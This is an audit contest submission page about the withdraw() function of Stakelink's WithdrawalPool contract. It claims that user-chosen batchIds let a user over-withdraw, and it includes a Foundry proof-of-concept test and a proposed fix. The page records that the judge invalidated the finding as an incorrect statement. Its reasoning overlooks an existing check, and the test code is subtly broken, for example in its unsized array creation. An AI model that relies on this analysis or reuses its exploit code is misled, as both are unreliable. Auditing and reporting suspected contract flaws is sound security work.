Liquid Staking
Stakelink
DeFiHardhatOracle
50,000 USDC
View results
Previous Next
Submission Details
Severity: medium
Invalid

Lack of Validation in `withdraw` Function

chainsentryaudits

Summary

A critical vulnerability exists in the WithdrawalPool.sol contract's withdraw function, where insufficient validation allows users to manipulate the batchId parameter. This manipulation can lead to unauthorized over-withdrawal of funds, compromising the contract's integrity and resulting in significant financial losses.

Vulnerability Details

The withdraw function in the WithdrawalPool.sol contract accepts user-supplied _batchIds corresponding to _withdrawalIds. The current validation checks are insufficient, allowing users to select arbitrary batchIds that can exploit the contract's logic to withdraw more funds than entitled.

Manipulating batchId for Over-Withdrawal

function withdraw(uint256[] calldata _withdrawalIds, uint256[] calldata _batchIds) external {
address owner = msg.sender;
uint256 amountToWithdraw;
​
for (uint256 i = 0; i < _withdrawalIds.length; ++i) {
uint256 withdrawalId = _withdrawalIds[i];
Withdrawal memory withdrawal = queuedWithdrawals[_withdrawalIds[i]];
uint256 batchId = _batchIds[i];
WithdrawalBatch memory batch = withdrawalBatches[batchId];
​
if (withdrawalOwners[withdrawalId] != owner) revert SenderNotAuthorized();
if (
batchId != 0 && withdrawalId <= withdrawalBatches[batchId - 1].indexOfLastWithdrawal
) revert InvalidWithdrawalId();
if (
batchId != 0 &&
withdrawalId > batch.indexOfLastWithdrawal &&
withdrawal.partiallyWithdrawableAmount == 0
) revert InvalidWithdrawalId();
​
if (withdrawalId <= batch.indexOfLastWithdrawal) {
amountToWithdraw +=
withdrawal.partiallyWithdrawableAmount +
(uint256(batch.stakePerShares) * uint256(withdrawal.sharesRemaining)) /
1e18;
delete queuedWithdrawals[withdrawalId];
delete withdrawalOwners[withdrawalId];
} else {
amountToWithdraw += withdrawal.partiallyWithdrawableAmount;
queuedWithdrawals[withdrawalId].partiallyWithdrawableAmount = 0;
}
}
​
token.safeTransfer(owner, amountToWithdraw);
emit Withdraw(owner, amountToWithdraw);
}

Explanation:

  • User-Supplied _batchIds: The function allows users to specify which batchId to associate with their withdrawalId.

  • Insufficient Validation: The existing checks do not securely bind withdrawalId to its correct batchId. This loophole permits users to select batchIds that have higher stakePerShares, resulting in over-withdrawal.

Exploiting the Validation Flaw

function testWithdrawManipulatedBatchId() public {
// User1 deposits into priority pool
vm.startPrank(user1);
priorityPool.deposit(100e18, false, new bytes[](0));
vm.stopPrank();
​
// User1 queues withdrawal
vm.startPrank(user1);
lst.transferFrom(user1, address(withdrawalPool), 100e18);
withdrawalPool.queueWithdrawal(user1, 100e18);
vm.stopPrank();
​
// Simulate finalizing withdrawals and creating batches
// Create two batches with different stakePerShares
withdrawalPool.addWithdrawalBatch(1, 1e18); // Batch 1: stakePerShares = 1e18
withdrawalPool.addWithdrawalBatch(2, 2e18); // Batch 2: stakePerShares = 2e18
​
// User1 attempts to withdraw with manipulated batchId
uint256[] memory withdrawalIds = new uint256[]();
uint256[] memory batchIds = new uint256[]();
withdrawalIds[0] = 1; // The user's withdrawalId
batchIds[0] = 2; // Manipulated batchId with higher stakePerShares
​
vm.startPrank(user1);
withdrawalPool.withdraw(withdrawalIds, batchIds);
vm.stopPrank();
​
// Assert over-withdrawal
uint256 userBalance = token.balanceOf(user1);
assertEq(userBalance, 200e18, "User1 was able to over-withdraw by manipulating batchId");
}

Explanation:

  1. Setup:

    • User Deposit: User1 deposits 100 LINK into the priority pool.

    • Queue Withdrawal: User1 queues a withdrawal of 100 stLINK.

  2. Creating Batches:

    • Batch 1: Finalizes a withdrawal batch with stakePerShares of 1e18.

    • Batch 2: Finalizes another batch with an inflated stakePerShares of 2e18.

  3. Attack Execution:

    • Manipulated batchId: User1 attempts to withdraw using batchId 2 instead of the correct batch.

    • Over-Withdrawal: Due to the higher stakePerShares, the contract processes the withdrawal as if it were associated with batchId 2, resulting in User1 receiving double the intended amount.

  4. Assertion:

    • The test verifies that User1's balance increases to 200e18 instead of the rightful 100e18, demonstrating the exploitation.

Impact

  • Financial Loss: Unauthorized over-withdrawals can deplete the contract's funds, leading to significant financial losses.

  • Trust Erosion: Users lose confidence in the platform's security, potentially leading to decreased participation and liquidity.

  • Unfair Advantage: Malicious users gain disproportionate benefits at the expense of honest participants.

  • System Integrity: Compromised contract logic undermines the overall integrity and reliability of the staking platform.

Tools Used

  • Manual Review

  • Foundry

Recommendations

To mitigate the identified vulnerability and enhance the security of the withdraw function, implement the following measures:

1. Internal Mapping of withdrawalId to batchId

Instead of relying on user-supplied batchIds, maintain an internal mapping that securely associates each withdrawalId with its corresponding batchId.

// Add this mapping in WithdrawalPool.sol
mapping(uint256 => uint256) internal withdrawalToBatch;
​
// Update _finalizeWithdrawals to set the mapping
function _finalizeWithdrawals(uint256 _amount) internal {
uint256 sharesToWithdraw = _getSharesByStake(_amount);
uint256 numWithdrawals = queuedWithdrawals.length;
​
totalQueuedShareWithdrawals -= sharesToWithdraw;
​
for (uint256 i = indexOfNextWithdrawal; i < numWithdrawals; ++i) {
uint256 sharesRemaining = queuedWithdrawals[i].sharesRemaining;
​
if (sharesRemaining < sharesToWithdraw) {
sharesToWithdraw -= sharesRemaining;
continue;
}
​
if (sharesRemaining > sharesToWithdraw) {
queuedWithdrawals[i] = Withdrawal(
uint128(sharesRemaining - sharesToWithdraw),
uint128(
queuedWithdrawals[i].partiallyWithdrawableAmount +
_getStakeByShares(sharesToWithdraw)
)
);
indexOfNextWithdrawal = i;
withdrawalBatches.push(
WithdrawalBatch(uint128(i - 1), uint128(_getStakeByShares(1 ether)))
);
withdrawalToBatch[i] = withdrawalBatches.length - 1; // Map withdrawalId to batchId
} else {
indexOfNextWithdrawal = i + 1;
withdrawalBatches.push(
WithdrawalBatch(uint128(i), uint128(_getStakeByShares(1 ether)))
);
withdrawalToBatch[i] = withdrawalBatches.length - 1; // Map withdrawalId to batchId
}
​
sharesToWithdraw = 0;
break;
}
​
assert(sharesToWithdraw == 0);
​
emit WithdrawalsFinalized(_amount);
}

Explanation:

  • Mapping Creation: Introduce a withdrawalToBatch mapping that records the association between each withdrawalId and its corresponding batchId during the finalization process.

  • Secure Association: By handling the mapping internally, the contract ensures that users cannot manipulate batchId values, as they are determined by the contract logic.

2. Remove batchId Parameter from withdraw Function

Eliminate the need for users to supply batchIds during withdrawal, thereby preventing any potential manipulation.

// Modify the withdraw function signature to remove _batchIds
function withdraw(uint256[] calldata _withdrawalIds) external {
address owner = msg.sender;
uint256 amountToWithdraw;
​
for (uint256 i = 0; i < _withdrawalIds.length; ++i) {
uint256 withdrawalId = _withdrawalIds[i];
Withdrawal memory withdrawal = queuedWithdrawals[withdrawalId];
uint256 batchId = withdrawalToBatch[withdrawalId];
WithdrawalBatch memory batch = withdrawalBatches[batchId];
​
if (withdrawalOwners[withdrawalId] != owner) revert SenderNotAuthorized();
​
if (withdrawalId <= batch.indexOfLastWithdrawal) {
amountToWithdraw +=
withdrawal.partiallyWithdrawableAmount +
(uint256(batch.stakePerShares) * uint256(withdrawal.sharesRemaining)) /
1e18;
delete queuedWithdrawals[withdrawalId];
delete withdrawalOwners[withdrawalId];
} else {
amountToWithdraw += withdrawal.partiallyWithdrawableAmount;
queuedWithdrawals[withdrawalId].partiallyWithdrawableAmount = 0;
}
}
​
token.safeTransfer(owner, amountToWithdraw);
emit Withdraw(owner, amountToWithdraw);
}

Explanation:

  • Simplified Function: By removing the _batchIds parameter, users no longer have the ability to specify or manipulate batchId values.

  • Secure Withdrawal: The contract internally determines the correct batchId using the withdrawalToBatch mapping, ensuring accurate and secure fund distribution.

Updates

Lead Judging Commences

inallhonesty Lead Judge
about 1 year ago
inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.